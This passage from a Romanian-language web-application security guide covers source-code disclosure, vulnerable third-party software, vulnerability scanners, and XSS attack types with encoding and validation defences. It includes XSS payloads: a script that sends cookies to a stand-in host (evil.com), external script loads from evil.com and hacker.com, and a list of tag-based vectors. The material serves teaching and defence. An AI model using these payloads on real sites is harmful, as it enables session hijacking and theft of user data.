să facă trimitere la toate componentele care folosesc acel cod.
1.7 Diseminarea codului -sursă
O eroare de codare, des întâlnită în aplicați ile web, este divulgarea codului sursă care face
posibilă exploatarea acestuia de către atacator cu scopul de a reconfigura fișiere prin intermediul
HTTP, oferind totodată o înțelegere mai profundă atacatorului în legătură cu logica din spatele
aplicației web.
Folosind un atac de tip divulgare a codului sursă, atacatorul poate obține codul sursă pentru
aplicațiile de pe server (precum ASP, PHP, JSP) și, implicit, o imagine asupra logicii aplicației,
modul de gestionare a cererilor și parametrii acestora, s tructura bazei de date, comentariile
introduse în cod și vulnerabilitățile acestuia. Aceste informații pot fi folosite pentru realizarea unui
duplicat a aplicației pentru teste și pregătirea unui atac asupra celei originale. Atacul poate fi
realizat folosi nd vulnerabilități cu divulgare a codului sursă cunoscute, exploatarea erorilor
detaliate care uneori includ codul sursă, folosind alte tipuri de vulnerabilități cunoscute care se pot
dovedi utile în divulgarea codului (cum ar fi traversarea directoarelor) .
19
Metodele de prevenire a atacurilor de acest fel sunt următoarele:
Verificarea folderului de unde este cerut fișierul care urmează să fie descărcat;
Verificarea tipurilor de fișiere cerute de utilizatori;
Indexarea fișierelor care pot fi descărcate și afi șarea doar a numărului lor din index ca și
parametru al URL -ului.
Aceste aspecte legate de securitatea aplicațiilor web, deși există posibilitatea ca ele să nu
fie detaliate în cerințele de proiectare a aplicației sau menționate de către clientul ce doreș te
proiectarea aplicației respective, reprezintă o importanță vitală și trebuie luate în considerare de
către dezvoltatori, constituind practic punctul de plecare al construirii sistemului informatic ce se
dorește a fi proiectat.
1.8 Software vulnerabil d in partea altor producători
Când vine vorba de aplicații care provin de la diferite companii, majoritatea designerilor și
proprietarilor de aplicații web presupun că acestea sunt sigure și nu le mai testează înainte de
implementare ceea ce poate duce la breșe grave de securitate ale aplicației web. Multe aplicații
web provenite din terțe părți sunt nesigure și de multe ori acestea vin cu un nume de utilizator și
parolă implicit.
Aceasta este o breșă gravă de securitate deoarece, dat fiind faptul că o paro lă de
administrare” default” ghicită poate oferi acces la multiple opțiuni de configurare ale aplicației
inclusiv la toate datele stocate în baza de date. Așadar parolele și conturile implicite trebuie
întotdeauna schimbate.
De asemenea, aplicațiile web, p rovenite din terțe surse, pot fi vulnerabile la toate atacurile
specifice aplicațiilor web în general (XSS, SQL injection, etc.)
Pentru a vă proteja de breșe de securitate, oricând adăugați un nou software aplicației web
a dumneavoastră, nu faceți presupu neri că sunt sigure sau că au fost testate amănunțit, înainte de
a fi scoase pe piață și toate problemele rezolvate, ci testați -le dumneavoastră cât puteți de
amănunțit, pentru a vă asigura că nu veți avea probleme mai târziu. O eroare apărută într -un
program vă poate pune în pericol întreaga aplicație web.
Un raport al companiei Verizon pentru anul 2011 cu privire la investigarea furturilor de
date arată că:
66% din aplicațiile făcute de industria de software prezintă un nivel inacceptabil de scăzut
al sec urității la eliberarea pe piață;
20
72% din produsele dedicate securității și programele de service au o calitate a securității
inacceptabilă: cele mai grave probleme au fost descoperite la programele de asistență
pentru clienți (82% inacceptabile), urmate d e programele de securitate (72%);
Dezvoltatorii au nevoie de mai mult training în legătură cu securitatea programelor: mai
mult de jumătate din dezvoltatorii care au dat examenul de principii de bază ale securității
aplicațiilor au luat 5 sau mai puțin;
Între programele publice și cele private ale furnizorilor de software s -au găsit foarte puține
diferențe;
Industria de software se mișcă rapid pentru a remedia erorile: 90% din programe au atins
nivele acceptabile de securitate în 30 de zile de la lansare a pe piață;
Vulnerabilitatea la injecțiile cu cod SQL scade încet;
Construirea de software bine securizat nu trebuie să consume mult timp.
Nu există nici o aplicație care este 100% lipsită de vulnerabilități, însă puteți încerca să
reduceți cât mai mul t aceste probleme, dar acest lucru nu se va întâmpla decât dacă testați
amănunțit întreaga aplicație web pentru a descoperi punctele ei slabe și a încerca să le remediați.
Nu faceți presupuneri când este vorba de securitate.
1.9 Detectarea vulnerabilități lor specifice aplicațiilor web
Plajă de vulnerabilități specifice aplicațiilor web este foarte vastă, cele prezentate în cadrul
acestui ghid fiind totuși cel mai des întâlnite. După cum am mai menționat, tehnicile prezentate
sunt simpliste, dar scopul ac estui ghid este de a oferi noțiunile generale despre problemele
aplicațiilor web.
O etapă esențială pentru orice dezvoltator de aplicații web este identificarea acestor
vulnerabilități și tratarea acestora corespunzător. În acest sens, există numeroase in strumente
software automate pentru detectarea vulnerabilităților, care, de cele mai multe ori, dau și
recomandări pentru rezolvarea problemelor identificate.
Scanarea vulnerabilităților este o etapă de bază, ce trebuie realizată înainte de punerea în
produ cție a oricărei aplicații web.
NESSUS este un scanner de vulnerabilități ce cuprinde și modul specific aplicațiilor web.
Așadar o scanare cu această unealtă poate identifica și vulnerabilitățile de la nivelul rețelei interne.
Scannerul poate fi folosit și de către administratorii de rețea, pentru identificarea resurselor interne
(echipamente etc.) ale unui LAN. Acesta va identifica echipamentele din cadrul rețelei alături de
lista vulnerabilităților specifice pentru fiecare.
21
Nessus are ș i o variantă free ș i poate fi descărcat de la adresa :
http://www.tenable.com/products/nessus.
OpenVas este altă aplicație de management al vulnerabilităților. Aceasta este opensource
și se trage din vechea versiunea gratuită a NESSUS (înainte de a fi cumpărat de Teenable).
Produsul poate fi descărcat de la adresa http://www.openvas.org/
Dacă se consideră că o versiune gratuită nu este de ajuns, sunt disponibile și unelte
comerciale de scanare, specifice mediului web, precum HP WEB Inspect sau Acunetix.
22
Capitolul II: Atacurile de tipul XSS și metode pentru prevenirea
acestora
Securitatea web este cel mai omis aspect cu privire la securizarea datelor. Cu toții am auzit
de termenul de “hacker”, și știm că ei pot afecta instituțiile financiare, vânză torii și marile
corporații.
În 12 luni, între 2013 și 2014, FBI spuneau că un total de 519 milioane de date financiare
au fost furate de hackeri în Statele Unite ale Americii. Impactul financiar este unul enorm, a fost
estimat la aproximativ 445 de miliard e de dolari.
Ca și rezultat al acestor fapte industria este într -o continuă îmbunătățire a securității web,
folosind scannere pentru vulnerabilități web, teste de penetrare și o mult mai bună protejare a
datelor. În anii trecuți știm că mai multe contur i de Gmail și Facebook au fost furate, împreună cu
datele financiare ale Heartland Payment System.
Pe lângă pericolele unei încălcări a securității datelor în sine, există și riscul de a pierde
reputația și credibilitatea pentru cei ce cad pradă acestor atacuri. În general hackerii pot fi destul
de dăunători pentru o afacere sau pentru o instituție în cazul în care aceștia exploatează deficiența
de securitate a unei aplicații web.
2.1 Atacul de tipul XSS (Cross -site Scripting)
Acest tip de atac este u n atac bazat pe aplicația clientului (client -side), unde un atacator
poate executa script -uri periculoase într -un website legitim sau într -o aplicație web. XSS este
printre cele mai agresive vulnerabilități web și apare atunci când o aplicație web afișează date ce
nu au fost validate sau nu au fost codate corespunzător.
Prin exploatarea acestui tip de vulnerabilitate un atacator nu vizează în mod direct o
victimă, în schimb, un atacator ar putea exploata o vulnerabilitate în cadrul unei aplicații web
atunc i când victima vizitează partea de aplicație vulnerabilă și afectată. În esență aplicația web
este folosită ca un mijloc de transport a script -ului malițios către browser -ul victimei.
Cu ajutorul acestui tip de atac poți executa cod VBScript, ActiveX sau Flash, dar cel mai
executat cod este cel de Javascript deoarece acest limbaj este fundamental pentru browsere.
23
2.1.1 Cum funcționează Cross -site scripting -ul
Pentru a rula cod de Javascript în browser -ul victimei un atacator trebuie mai întâi să
găsea scă o modalitate de a injecta acest cod într -o pagină web pe care victima o viziteza. Desigur
un atacator ar putea folosi tehnici de inginerie socială pentru a convinge un utilizator să viziteze o
pagină vulnerabilă deja afectată.
Pentru ca un atac XSS să aibă loc pe site -ul vulnerabil, atacatorul trebuie să includă în mod
direct datele introduse de utilizator în paginile sale, apoi poate insera un șir de caractere care va fi
utilizat în cadrul paginii web și tratat de browser -ul victimei ca și un cod de ru lat.
Codul de mai jos va afișa în browser -ul victimei cel mai recent comentariu de pe pagină:
Print "<html>"
Print "<h1>Cel mai recent comentariu</h1>"
Print database. LatestComment
Print "</html>"
Script -ul afișează ultimul comentariu dintr -o bază de date , urmând a fi introdus în
conținutul unei pagini HTML, presupunând că acest comentariu este format numai din text.
Pagina de mai sus este vulnerabilă XSS deoarece un atacator ar putea să scrie un
comentariu care să conțină un cod rău intenționat, cum ar fi :
<script>saFuramCevaDate ();</script>
Utilizatorii ce vor vizita această pagină li se va încărca următorul HTML:
<html>
<h1> Cel mai recent comentariu </h1>
<script>saFuramCevaDate ();</script>
</html>
Când pagina este rulată în browser -ul victimei scrip t-ul periculos va fi executat, în
majoritatea cazurilor fără ca victima să observe sau să poată prevenii acest atac.
O vulnerabilitate XSS poate exista numai în cazul în care script -ul periculos (codul
periculos, în cazul nostru saFuramCevaDate (); ) pe car e atacatorul l -a introdus, este întors în
browser -ul victimei, ca mai apoi să fie rulat (în cazul nostru tot HTML -ul paginii).
24
2.1.2 Care este cel mai rău lucru pe care un atacator îl poate face cu
Javascript
Consecințele, atunci când un atacator poa te executa cod Javascript într -o pagină web, nu
sunt atât de vizibile, mai ales din moment ce browserele rulează cod Javascript într -un mediu foarte
bine controlat și au acces limitat la sistemul de operare al utilizatorului și la fișierele acestuia.
Cu to ate acestea, considerând că Javascript are acces la următoarele, vom înțeleg e mai bine
ce poate accesa un atacator în momentul atacului:
Codul Javascript are acces la toate obiectele din pagina, inclusiv la cookie -uri. Cookie –
urile sunt adesea folosite pen tru a stoca token -uri de sesiune (chei de sesiune). În cazul în
care un atacator a reușit să fure acesta cheie, el poate juca rolul acelui utilizator, având
acces la toate acțiunile pe care le poate face utilizatorul victimă în aplicația web.
Codul Javascr ipt poate citi și poate modifica DOM -ul browser -ului (în cadrul paginii pe
care se execută codul)
Codul Javascript poate folosi XMLHttpRequest pentru a trimite cereri HTTP cu un
conținut arbitrar către destinații arbitrare.
Codul Javascript în browserele m oderne se pot folosi de API -urile din HTML5, cum ar fi
accesarea geolocalizării, camera web, microfonul unui utilizator și chiar fișierele specifice
din sistemul de fișiere ale utilizatorului.
Toate cele de mai sus în combinație cu ingineria socială, le p ermit atacatorilor să efectueze
atacuri avansate, inclusiv furtul de cookie -uri, înregistrarea tastelor apăsate (keylogger), phishing –
ul și furtul identității. Vulnerabilitățile XSS critice oferă un teren perfect pentru atacatori de a
dezvolta atacuri din ce în ce mai serioase.
2.1.3 XSS nu reprezintă problema clientului (utilizatorului)
Dacă un atacator poate abuza de o vulnerabilitate XSS pe o pagină și executa cod Javascript
în browser -ul utilizatorului, securitatea acelui site a fost compromisă împreu nă cu securitatea
tuturor utilizatorilor acelui site. Vulnerabilitățile XSS nu reprezintă problema clientului, ca și
celelalte vulnerabilități de securitate, dacă sunt afectați utilizatorii dumneavoastră sunteți afectat
și dumneavoastră.
25
2.1.4 Anatomia unui atac de tip XSS
Un atac XSS are nevoie de trei actori: aplicația web, victima și atacatorul.
În exemplul de mai jos se presupune că obiectivul atacatorului este de a juca rolul victimei
prin furtul cookie -urile acesteia. Trimiterea cookie -urilor cătr e un server pe care atacatorul îl
controlează poate fi realizată printr -o varietate de moduri. Unul din atacuri presupune să execute
următorul cod Javascript în browser -ul victimei prin intermediul unei vulnerabilități XSS.
<script>
Window. Location= “h ttp://evil.com/?cookie=” + document. Cookie
</script>
Figură de mai jos ilustrează desfășurarea unui atac simplu XSS pas cu pas.
Fig. 2.1 Desfășurarea unui atac simplu XSS pas cu pas
1. Atacatorul injectează un cod periculos Javascript în baza de date a s ite-ului prin intermediul
unui formular.
2. Victima intra pe pagina cu acest cod înserat.
3. Aplicația web îi servest victimei, în browser, pagina cu tot cu acest cod Javascript ca parte
a conținutului HTML.
4. Browser -ul victimei va executa acest script inclus în HTML. În acest caz ar trimite cookie –
urile victimei către server -u atacatorului. Atacatorul are nevoie acum doar de a extrage
cookie -urile victimei atunci când cererea HTTP ajunge la server, după care acesta le poate
folosi pentru furtul identității victim ei.
26
2.1.5 Exemple de atacuri XSS
Ceea ce urmează reprezintă o listă neexhaustiva de vectori de atac pe care un atacator îi
poate folosi pentru a compromite securitatea unui site sau aplicații web printr -un atac de tip XSS.
Prin intermediul tag -ului <sc ript>
Tag-ul <script> este cel mai simplu și mai folosit mijloc de atac. Acesta poate face referință
către un cod extern Javascript sau poate conține codul în sine Javascript.
<! — Cod extern –>
<script src=http://evil.com/xss.js></script>
<! — Cod inclus –>
<script> alert ("XSS"); </script>
Prin intermediul tag -ului <body>
Codul Javascript poate fi livrat în interiorul tag -ului <body> folosind atributul onLoad sau
alte attribute, cum ar fi atributul de fundal.
<! — Atributul onLoad –>
<body onload=aler t ("XSS") >
<! — Atributul de fundal –>
<body background="javascript: alert ("XSS") ">
Prin intermediul tag -ului <img>
Unele browsere vor executa codul Javascript găsit în tag -ul <img>.
<! — Tag-ul <img> vulnerabil XSS –>
<img src="javascript: alert ("XSS");">
<! – Tag-ul <img> vulnerabil XSS, folosind atribute mai puțin cunoscute –>
<img dynsrc="javascript: alert ('XSS ') ">
<img lowsrc="javascript: alert ('XSS') ">
Prin intermediul tag -ului <iframe>
Acest tag permite încastrarea unei alte pagini HTML în pagina părinte. Un <iframe> poate
conține cod Javascript, cu toate acestea este important să reținem că acest cod Jav ascript din
<iframe> nu are acces la DOM -ul paginii părinte, potrivit politicii de securitate a conținutului
browserelor (CSP – Content Security Policy).
<! — Tag-ul <iframe> vulnerabil XSS –>
<iframe src=” http://evil.com/xss.html” >
27
Prin intermediul ta g-ului <input>
În anumite browsere dacă atributul type al acestui tag este setat ca image , putem să îl
manipulăm astfel încât să introducem un script.
<! — Tag-ul <input> vulnerabil XSS –>
<input type="image" src="javascript: alert ('XSS');">
Prin interm ediul tag -ului <link>
Acest tag este folosit de obicei pentru a introduce CSS -uri externe, dar poate conține și cod
Javascript.
<! — Tag-ul <link> vulnerabil XSS –>
<link rel="stylesheet" href="javascript: alert ('XSS');">
Prin intermediul tag -ului <tabl e>
Atributul background al tag -urilor <table> și <td> pot fi exploatate pentru a încărca
scripturi în locul imaginilor.
<! — Tag-ul <table> vulnerabil XSS –>
<table background="javascript: alert ('XSS') ">
<! – Tag-ul <td> vulnerabil XSS –>
<td backgrou nd="javascript: alert ('XSS') ">
Prin intermediul tag -ului <div>
Acest tag, similar tag -urilor <table> și <td> poate de asemenea să specifice un fundal ce
se poate transforma într -un cod periculos Javascript.
<! — Tag-ul <div> vulnerabil XSS –>
<div styl e="background -image: url (javascript: alert ('XSS')) ">
<! — Tag-ul <div> vulnerabil XSS –>
<div style="width: expression (alert ('XSS'));">
Prin intermediul tag -ului <object>
Acest tag poate fi folosit pentru a include cod Javascript dintr -o locație ext ernă.
<! – Tag-ul <object> vulnerabil XSS –>
<object type="text/x -scriptlet" data="http://hacker.com/xss.html">
28
2.2 Tipuri de atacuri XSS
În timp ce obiectivul unui atac XSS este întotdeauna de a executa cod mailitios Javascript
în browser -ul victimei , există câteva moduri fundamendal diferite de a atinge acest obiectiv.
Atacurile XSS sunt adesea împărțite în trei tipuri:
1. Atacul XSS persistent (Persistent XSS), atunci când codul Javascript provine din
baza de date a aplicației web.
2. Atacul XSS reflectat sau non -persistent (Reflected XSS), atunci când codul
Javascript vine din cererea victimei.
3. Atacul XSS bazat pe DOM (DOM -based XSS), atunci când vulnerabilitatea este în
codul client -side, mai degrabă decât codul server -side.
Exemplul de mai sus a ilustr at un atac XSS de tip persistent.
2.2.1 Atacul XSS reflectat sau non -persistent
Într-un atac de acest tip codul Javascript reprezintă o parte din cererea HTTP făcută de
victimă prin intermediul aplicației web. Site -ul include acest cod în răspunsul trim is către browser –
ul utilizatorului. Diagrama de mai jos ilustrează acest scenariu:
Fig. 2.2 Exemplu de atac XSS non -persistent
1. Atacatorul pregătește o adresă URL ce conține un șir de caractere malițios și îl trimite către
victimă.
2. Victima este păcălită de atacator și accesează URL primit.
29
3. Aplicația web vulnerabilă include codul Javascript din URL și îl trimite în răspunsul către
browser -ul victimei.
4. Browser -ul victimei execută script -ul din răspuns, trimițând cookie -urile victimei către
server -ul atacato rului.
2.2.2 Executarea atacului de tip non -persistent XSS
La început aceste tipuri de atacuri par inofensive, deoarece este ne voie ca victima însuși să
facă o cerere HTTP ce conține un cod Javascript periculos. Din moment ce nimeni nu s -ar ataca
de bună voie, nu pare să existe nici o modalitate de a efectua atacul.
După cum se pare, există cel puțin două căi comune de a provoca o victimă pentru a lansa
un atac XSS de tipul non -persistent împotriva ei înseși.
În cazul în care atacatorul țintește un anumit individ, va trimite URL -ul periculos prin
intermediul e -mail-ului sau prin intermediul mesageriei instant (SMS), și îl va păcăl i să îl
acceseze,
În cazul în care atacatorul țintește un grup mai mare de oameni, va publica URL -ul
periculos (pe site -ul propriu sau pe contul unei rețele de socializare), așteptând ca cineva
să acceseze acel URL.
Aceste două metode sunt similare, și amb ele pot fi folosite cu succes împreună cu un
serviciu de scurtare a URL -urilor (URL shortening service), care maschează codul periculos pentru
victim ă pentru a nu putea fi detectat.
Acest serviciu reprezintă o redirectare de la o adresă X la o adresă Y, ca re poate fi sau nu
periculoasă.
Ex: De la adresa:
http://pdobrea.ro/short_link/abas78hsdf
Către adresă:
http://pdobrea.ro/?search=<script>alert (‘XSS’) </script >
2.2.3 Atacul XSS bazat pe DOM
Acest tip de atac este o variantă ambelor atacuri prezentate mai sus, persistente și non –
persistente. Într -un atac XSS bazat pe DOM codul Javascript nu este interpretat de browser -ul
victimei decât atunci când se termină execuția Javascriptului legitim al site -ului, care introduce
script -ul periculos în pagina, astf el pornindu -l. Diagrama de mai jos ilustrează acest scenariu
pentru un atac XSS bazat pe DOM de tip non -persistent.
30
Fig. 2.3 Exemplu de atac XSS bazat pe DOM
1. Atacatorul pregătește o adresă de URL ce conține un șir de caractere rău intenționat și îl
trimite către victimă.
2. Victima este păcălită de către atacator și accesează URL -ul primit.
3. Aplicația web primește cererea, dar nu include codul Javascript în răspuns.
4. Browser -ul victimei execută script -ul legitim în interiorul răspunsului, provocând script -ul
malițios să fie inserat în pagină.
5. Browser -ul victimei execută script -ul rău intenționat inserat în pagină, trimițând cookie –
urile victimei către server -ul atacatorului.
2.2.4 Diferența atacului XSS bazat pe DOM
În exemplele anterioare de atacuri XSS pe rsistente și non -persistente, server -ul introduce
scriptul malițios în pagină, care este apoi trimis către victimă. Când browser -ul victimei primește
răspunsul, acesta presupune script -ul ca fiind legitim și automat îl execută în timpul încărcării
paginii.
În exemplul unui atac XSS bazat pe DOM nu există un script malițios care este inserat în
pagina browser -ului, singurul script care se execută în mod automat este o parte legitimă a paginii.
Problema este că acest script legitim se folosește de date intro duse de utilizator în câmpuri diferite
31
pentru a adăuga HTML în pagina. Deoarece șirul periculos este introdus în pagină utilizând funcția
innerHTML din Javascript, acesta este analizat ca și conținut HTML, făcând ca script -ul malițios
să fie executat.
Diferența este subtilă dar importantă:
În atacurile XSS tradiționale, codul Javascript malițios se execută atunci când se încarcă
pagina, ca parte a HTML -ului trimis de server.
În atacurile XSS bazate pe DOM, codul Javascript malițios este executat după încăr carea
paginii, ca urmare a executării a unui alt Javascript legitim ce procesează datele introduse
de utilizator într -un mod nesigur.
2.2.5 Importanța atacului XSS bazat pe DOM
În exemplul anterior nu a fost nevoie de utilizarea Javascript -ului, serveru l poate genera tot
conținutul HTML de unul singur. În cazul în care codul citit și rulat de către server este imun la
atacuri de tipul XSS, deci nu are vulnerabilități, atunci aplicația web este în siguranță în timpul
unui astfel de atac.
Cu toate acestea , aplicațiile web devin din ce în ce mai avansate, tot mai mult conținut
HTML este generat de codul Javascript, în browser -ul utilizatorului. În orice moment conținutul
poate fi schimbat fără a reîncărca pagina inițială, acest tip de actualizare a paginii este făcută prin
intermediul utilizării codului de Javascript. Acest gen de actualizare este făcută prin intermediul
unor cereri de tip AJAX.
Din acest motiv rezultă că vulnerabilitățile XSS pot fi prezente atât în codul scris și executat
de către server cât și în codul Javascript scris și executat de către browser -ul utilizatorului. În
consecință chiar și cu o securizare completă a codului server -side, codul client -side ar putea în
continuare să includă date nesigure introduse de utilizator într -o actuali zare a paginii. În cazul în
care acest scenariu este posibil codul client -side a permis acest atac fără nici o vină a codului
server -side.
2.2.6 Atacul XSS bazat pe DOM este invizibil pentru server
Există un caz special de atac XSS bazat pe DOM în care script -ul malițios nu este trimis
către server -ul aplicației web, atunci când codul rău intenționat este scris într -un URL după
identificatorul unic de etichetă, de fragment # (hash). Browser -ele nu trimit această parte către
servere, astfel aplicația web nu poate în nici un fel accesa această informație prin intermediul
codului server -side. Cu toate acestea codul client -side are acces la aceasta și prin urmare poate
32
provoca apariția vulnerabilităților XSS dacă datele introduse de utilizator nu sunt tratate
corespunzător.
Această situație nu se limitează doar la identificatorii de etichetă. Alte informații introduse
de către utilizator ce sunt invizibile pentru server sunt introduse prin intermediul folosirii
caracteristicilor HTML5, LocalStorage și Indexed DB.
2.3 Metode pentru prevenirea atacurilor XSS
Un atac XSS este un atac ce injectează cod în pagină: datele introduse de utilizator sunt
interpretate în mod greșit ca și un script malițios. Pentru a preveni acest tip de injectare de cod,
este nevoie de o procesare securizată a datelor introduse de utilizator:
Codificarea (Encoding), ce modifică datele introduse de utilizator, astfel încât browser -ul
le interpretează ca și date normale, nu ca și cod Javascript.
Validarea (Validation), ce filtrează datele introduse de utilizator, astfel încât browser -ul le
interpretează ca și cod purificat de comenzi malițioase.
În timp ce acestea sunt în mod fundamental două metode diferite de prevenire a acestor
tipuri de atacuri web, ele prezintă o serie de caracteristic i comune, care sunt importante pentru a
înțelege când putem utiliza una din metodele de mai sus:
Context: procesarea securizată a datelor introduse de utilizator trebuie să fie efectuată în
mod diferit depinzând de locul în pagină, unde vor fi introduse ac este date.
Intrare/Ieșire (Inbound/Outbound): procesarea securizată a datelor introduse de utilizator
trebuie să fie efectuată atunci când aplicația dumneavoastră primește date de intrare, sau
înainte ca aplicația să introducă datele în pagina.
Client/Serv er: Procesarea securizată a datelor introduse de utilizator poate fi efectuată fie
pe partea de client, fie pe parte de server, ambele fiind necesare în circumstanțe diferite.
Înainte de a explica în detaliu modul de codificare și de validare, vom descrie fiecare din
aceste caracteristici mai sus menționate.
2.3.1 Contexte de procesare a datelor de intrare
Există mai multe contexte într -o pagină web unde datele utilizatorului ar putea fi introduse.
Pentru fiecare dintre acestea există reguli specifice ce trebuie urmate astfel încât datele introduse
de utilizator să nu iasă în afara contextului stabilit, și să fie interpretat ca și un cod malițios.
33
Cele mai comune contexte sunt:
Conținutul unui elem ent HTML:
<div>dateleUtilizatorului</div>
Valoarea unui a tribut HTML:
<input value=" dateleUtilizatorului ">
Valoarea de interogare a URL -ului
http://exemplu.ro/?parametru= dateleUtilizatorului
Valoarea stilului CSS
Color: dateleUtilizatorului
Valoarea Javascript
Var nume = "dateleUtilizatorului";
Importanta con textelor
În toate contextele descrise mai sus ar putea apărea o vulnerabilitate XSS dacă datele
introduse de către utilizator sunt introduse în pagină înainte ca acestea să fie codate sau validate.
Un atacator ar putea introduce cod malițios prin simpla ad ăugare a delimitatorului de închidere a
contextului în care se află, urmat de codul Javascript malițios.
De exemplu, în cazul în care la un moment dat o aplicație web adaugă datele introduse de
utilizator direct într -un atribut HTML, un atacator ar putea i njecta un script periculos începând cu
codul de închidere “:
Codul aplicației:
<input value=" dateleUtilizatorului ">
Codul malițios:
"><script>…</script><input value="
Codul rezultat:
<input value=""><script>…</script><input value="">
Acest lucru ar putea fi prevenit prin simpla înlăturare a tuturor ghilimelelor din datele
introduse de utilizator, și totul ar fi bine, dar numai în acest context. În cazul în care aceeași intrare
ar fi introdusă într -un alt context, delimitatorul de închidere ar fi dif erit și injecția codului ar fi
posibilă. Din acest motiv, procesarea securizată trebuie să fie adaptată la contextul utilizat.
2.3.2 Manipularea de intrare și ieșire a datelor
Instinctiv s -ar părea că atacurile XSS pot fi prevenite prin codificarea sau validarea tuturor
datelor introduse de utilizator cât de repede aplicația web le primește. Astfel, orice cod malițios ar
34
fi deja neutralizat atunci când acesta este adăugat în pagină, iar script -urile legitime care generează
HTML -ul nu vor trebui să se pr eocupe de procesarea securizată a datelor.
Problema este, așa cum am specificat anterior, datele introduse de utilizator pot fi introduse
în mai multe contexte într -o pagină web. Nu exista nici o modalitate ușoară de a determina în ce
context se vor intro duce în HTML datele introduse de utilizator. Bazându -ne pe aceste date de
intrare procesarea securizată a datelor pentru a preveni atacurile XSS este, prin urmare, destul de
fragilă, va fi predispusă la erori. Caracteristica “ghilimele magice” (magic quote s), deja
dezaprobată în limbajul PHP, este un exemplu de o astfel de soluție.
În schimb, procesarea securizată a datelor ce urmează să le introducem în pagină ar trebui
să fie linia principal ă de apărare împotriva atacurilor XSS, deoarece se poate lua în consider are
contextul specific în care datele introduse de utilizator vor fi folosite. Acestea fiind spuse,
procesarea de intrare poate fi utilizată în continuare pentru a adăuga un strat secundar de protecție.
2.3.3 Cazurile în care putem utiliza o proce sare securizată sigură în
momentul preluării datelor de intrare
În cele mai multe aplicații web moderne, datele introduse de utilizator sunt procesate și
manipulate de către ambele părți, server -side și client -side. În scopul protejării împotriva tuturor
atacurilor de tip XSS procesarea datelor de intrare trebuie să fie efectuată atât în partea clientului
(client -side) cât și în partea server -ului (server -side).
Pentru a ne proteja împotriva atacurilor XSS tradiționale, manipularea datelor de intrare
trebuie să fie efectuată în partea de server. Acest lucru se face folosind orice limbaj acceptat
de către server -ul ales. (Ex: PHP)
Pentru a ne proteja împotriva atacurilor XSS bazate pe DOM în cazul în care server -ul nu
primește nici o dată codul malițios (ca și în cazul atacului bazat pe identificatorul de
etichetă) procesarea datelor trebuie să fie efectuată în partea de client, în browser -ul
utilizatorului. Acest lucru se face cu ajutorul limbajului de programare Javascript.
2.3.4 Codarea datelor
Codarea este actul de a manipula datele introduse de utilizator într -o așa manieră încât
browser -ul atunci când le interpretează să o facă ca și date, ce doar le va afișa, nu ca și cod, pe care
îl va rula în momentul introducerii în pagină. Cel mai cunoscut tip de codificare în dezvoltarea
web este convertirea caracterelor < și > în < și > .
35
Următorul pseudocod este un exemplu de modul în care datele introduse de utilizator sunt
convertite HTML, apoi introduse în pagină de un script în partea de server:
Print "<html>"
Print "Ultimul comentariu: "
Print encodeHtml (dateleUtilizatorului)
Print "</html>"
În cazul în care utilizatorul încearcă să introducă șirul <script>… </script> , rezultatul va
fi următorul cod HTML:
<html>
Ultimul comentariu:
< script>.. . < /script>
</html>
Acest lucru se întâmplă datorită faptului că toate caracterele cu semnificație specială au
fost convertite în simboluri HTML, iar browser -ul nu va analiza nici o parte din datele introduse
de utilizator ca și HTML, doar ca simplu text.
2.3.5 Codificarea în partea de client și codificarea în partea de server
Atunci când se efectuează o codificare în codul de client limbajul utilizat este întotdeauna
Javascript, în care exista funcții deja definite ce codează datele pentru diferi te contexte.
Atunci când se efectuează o codificare în codul de server, ne bazăm pe funcțiile disponibile
ale limbajului utilizat sau al framework -ului utilizat. Din cauza numărului mare de limbaje și
framework -uri disponibile în momentul de față este foa rte complicat să le specificăm pe toate. Cu
toate acestea familiarizarea cu funcțiile de codare utilizate pe partea de client în Javascript este
utilă chiar și atunci când scriem cod pe partea de server.
2.3.6 Codificarea pe partea de client
Atunci când se codifica datele introduse de utilizator pe partea de client folosind Javascript,
exista mai multe metode și proprietăți care codifică automat toate datele într -un mod conștient de
context:
Conținutul unui element HTML
Node. TextContent = dateleUtiliz atorului
Valoarea unui atribut HTML
Element. SetAttribute (attribute, dateleUtilizatorului)
36
Sau
Element [attribute] = dateleUtilizatorului
Valoarea de interogare a URL -ului
Window. EncodeURIComponent (dateleUtilizatorului)
Valoarea stilului CSS
Element. Style. Property = dateleUtilizatorului
Ultimul context menționat (valorile de Javascript) nu este inclus în această listă, deoarece
Javascript nu oferă nici o modalitate predefinita prin care datele poți fi codificate urmând a fi
incluse în codul sursă Javascript.
2.3.7 Limitările codării
Chiar și cu o codificare adecvată va fi posibil de introdus un script malițios în anumite
contexte. Un exemplu notabil în acest sens este atunci când datele utilizatorului sunt folosite pentru
a construi URL -uri, ca în exemplul de mai jos:
Document. QuerySelector ('a'). Href = dateleUtilizatorului
Deși atribuirea unei valori pentru proprietatea href a unui element de ancorare este
codificată în mod automat, astfel încât această valoare să devină nimic mai mult decât o valoare a
atributului, acest lucru nu împiedica atacatorul să introducă o adresă de URL care începe cu
javascript: . În cazul în care link -ul este accesat, oricare ar fi codul de Javascript introdus în URL,
va fi executat.
Codificarea este, de asemenea, o soluție inadecvată atunci când de fapt doriți ca utilizatorul
să definească o parte din codul unei pagini. Un exemplu este o pagină de profil de utilizator în care
își poate personaliza HTML -ul. În acest caz dacă datele au fost codificate pagina de prof il ar putea
consta numai din text simplu.
În aceste situații codificarea trebuie să fie completată cu validarea.
2.3.8 Validarea
Validarea este actul de filtrare, astfel încât toate părțile malițioase din datele introduse de
utilizator sunt eliminate, fără a îndepărta în mod necesar tot codul din ele. Una din cele mai
cunoscute tipuri de validare în dezvoltarea aplicațiilor web este să permită introducerea în pagină
a unor elemente HTML (cum ar fi <em> și <strong>), dar pentru altele interzicând introdu cerea
în pagina (cum ar fi <script>).
37
Există două caracteristici principale ale validării ce diferă în funcție de implementare:
1. Strategia de clasificare
Datele introduse de utilizator sunt clasificate în funcție de liste negre (blacklist s) sau liste
albe (whitelist s).
2. Validarea rezultatului
Datele introduse de utilizator identificate ca fiind malițioase pot fi respinse sau pot fi
modificate astfel încât să nu mai afecteze aplicația.
2.4 Strategia de clasificare
2.4.1 Prin intermediul listelor negre
Prin această metodă validarea se efectuează prin definirea unui model interzis, ce nu ar
trebui să apară în datele introduse de utilizator. Un exemplu ar fi să li se permită utilizatorilor să –
și creeze URL -uri personalizate, cu excepția sintaxei “ javascript:” . Această strategie de clasificare
se numește lista neagră (blacklist).
Cu toate acestea, această metodă de clasificare are două dezavantaje majore:
Complexitate
Care crește în funcție de mărimea mulțimii tuturor șirurilor de caractere malițioase posibile. În
exemplul anterior nu poate fi implementată cu succes prin simpla căutare a sintaxei
